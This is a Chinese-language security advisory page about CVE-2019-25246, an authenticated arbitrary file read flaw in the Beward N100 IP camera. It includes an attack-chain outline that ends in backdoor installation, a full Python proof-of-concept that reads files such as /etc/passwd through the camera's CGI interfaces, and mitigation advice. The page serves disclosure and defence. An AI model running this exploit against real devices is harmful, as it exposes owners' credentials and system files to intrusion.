IPBUF安全漏洞报告
English
CVE-2019-25246 CVSS 8.8 高危

CVE-2019-25246 Beward N100 IP Camera 认证后任意文件读取漏洞

披露日期: 2025-12-24

漏洞信息

漏洞编号
CVE-2019-25246
漏洞类型
任意文件读取
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Beward N100 H.264 VGA IP Camera

相关标签

CVE-2019-25246任意文件读取IP CameraIoT漏洞Beward认证绕过敏感信息泄露N100

漏洞概述

CVE-2019-25246是Beward公司N100 H.264 VGA IP Camera(固件版本M2.1.6)中存在的认证后任意文件读取漏洞。该漏洞允许已认证的攻击者通过发送特制请求,利用'READ.filePath'参数读取目标设备上的任意系统文件。攻击者可利用设备的fileread脚本或SendCGICMD API接口,构造包含绝对文件路径的请求,实现对敏感系统文件的非法访问。成功利用此漏洞可获取/etc/passwd(包含用户账户信息)、/etc/issue(系统版本信息)等关键配置文件,可能导致凭证泄露、进一步横向移动甚至完整系统控制。此漏洞属于高危级别,CVSS评分达8.8分,对网络资产安全性构成严重威胁。

技术细节

该漏洞存在于Beward N100 IP Camera的Web管理界面CGI接口中。攻击者成功认证后,可通过以下两种方式触发漏洞:1) 调用fileread脚本接口,构造READ.filePath参数为任意绝对路径(如/etc/passwd);2) 使用SendCGICMD API发送包含文件路径的请求。设备后端未对用户提供的filePath参数进行充分的安全校验,允许目录遍历和绝对路径访问。攻击者无需特殊权限即可读取系统任意文件,包括配置文件、日志文件、密钥文件等。漏洞根因在于固件开发时未遵循安全设计原则,对文件路径参数缺乏白名单验证和路径规范化处理。攻击成功后可获取系统敏感信息,为后续提权、横向移动或持久化控制奠定基础。

攻击链分析

STEP 1
步骤1:信息收集与目标识别
攻击者识别目标网络中运行Beward N100 IP Camera的设备,确认设备IP地址和Web管理界面可访问性
STEP 2
步骤2:获取认证凭据
攻击者通过默认凭据、暴力破解或社工手段获取设备管理员或普通用户账号密码
STEP 3
步骤3:发送恶意请求
利用fileread脚本或SendCGICMD API接口,构造包含READ.filePath参数的POST请求,指定目标文件绝对路径
STEP 4
步骤4:敏感文件窃取
服务器未校验文件路径,攻击者成功读取/etc/passwd、/etc/shadow、配置文件等敏感文件
STEP 5
步骤5:权限提升与持久化
利用获取的凭据信息进一步控制设备,安装后门或利用其他漏洞获取root权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2019-25246 PoC - Beward N100 IP Camera Authenticated File Read Usage: python3 poc.py <target_ip> <username> <password> <file_path> Example: python3 poc.py 192.168.1.100 admin admin /etc/passwd """ import requests import sys import base64 def exploit_cve_2019_25246(target_ip, username, password, file_path): """ Exploit for authenticated arbitrary file read vulnerability via SendCGICMD API or fileread script """ base_url = f"http://{target_ip}" # Authentication login_url = f"{base_url}/cgi-bin/login.cgi" login_data = { "username": username, "password": password } print(f"[*] Authenticating to {target_ip}...") session = requests.Session() response = session.post(login_url, data=login_data) if response.status_code != 200: print("[-] Authentication failed") return None print("[+] Authentication successful") # Method 1: Using SendCGICMD API cgi_url = f"{base_url}/cgi-bin/sendcgicmd.cgi" exploit_data = { "READ.filePath": file_path } print(f"[*] Attempting to read file: {file_path}") response = session.post(cgi_url, data=exploit_data) if response.status_code == 200 and response.text: print("[+] File content retrieved:") print(response.text) return response.text # Method 2: Alternative using fileread script fileread_url = f"{base_url}/cgi-bin/fileread" params = { "filePath": file_path } response = session.get(fileread_url, params=params) if response.status_code == 200 and response.text: print("[+] File content retrieved via fileread:") print(response.text) return response.text print("[-] Failed to retrieve file content") return None if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <target_ip> <username> <password> <file_path>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] filepath = sys.argv[4] exploit_cve_2019_25246(target, user, pwd, filepath)

影响范围

Beward N100 H.264 VGA IP Camera 固件版本 M2.1.6

防御指南

临时缓解措施
立即修改设备默认密码为强密码;如条件允许,在网络边界防火墙上阻断对设备CGI接口的外部访问;启用设备日志监控,关注异常的fileread或SendCGICMD请求;联系厂商获取固件更新,在测试环境验证后尽快部署安全补丁;考虑暂时禁用设备Web管理界面的文件读取功能,等待官方修复方案。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表